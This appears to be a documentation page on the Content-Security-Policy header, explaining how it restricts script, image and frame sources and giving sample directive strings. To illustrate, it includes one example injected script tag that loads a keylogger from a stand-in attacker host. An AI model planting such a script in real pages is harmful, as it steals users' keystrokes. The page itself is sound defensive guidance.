Skip to content

Content-Security-Policy

Dictates exactly which external resources and scripts the browser is permitted to load or execute.

The Content-Security-Policy (CSP) response header acts as a powerful allowlist for resources. It significantly mitigates the impact of Cross-Site Scripting (XSS) and data injection attacks by restricting the origins from which the browser is allowed to load images, scripts, stylesheets, and frames.

Deploy this header on all HTML documents returned by your web server or frontend application skeleton.

If an attacker injects a malicious <script src="evil.com/keylogger.js"> into a comment section, a strict CSP will instruct the browser to block the execution because evil.com is not in the allowed script sources.

You define specific directives for different resource types. Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-1234' https://trusted.cdn.com; img-src *;

Content-Security-Policy: default-src 'self'; img-src *